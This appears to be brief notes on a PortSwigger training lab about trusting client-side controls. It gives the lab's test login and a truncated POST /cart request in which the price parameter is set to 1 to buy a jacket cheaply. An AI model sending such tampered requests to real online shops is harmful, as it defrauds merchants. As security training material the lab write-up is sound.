Excessive trust in client side controls

https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a "Lightweight l33t leather jacket".

You can log in to your own account using the following credentials: wiener:peter

POST /cart HTTP/2
...
...
productId=1&redir=PRODUCT&quantity=1&price=1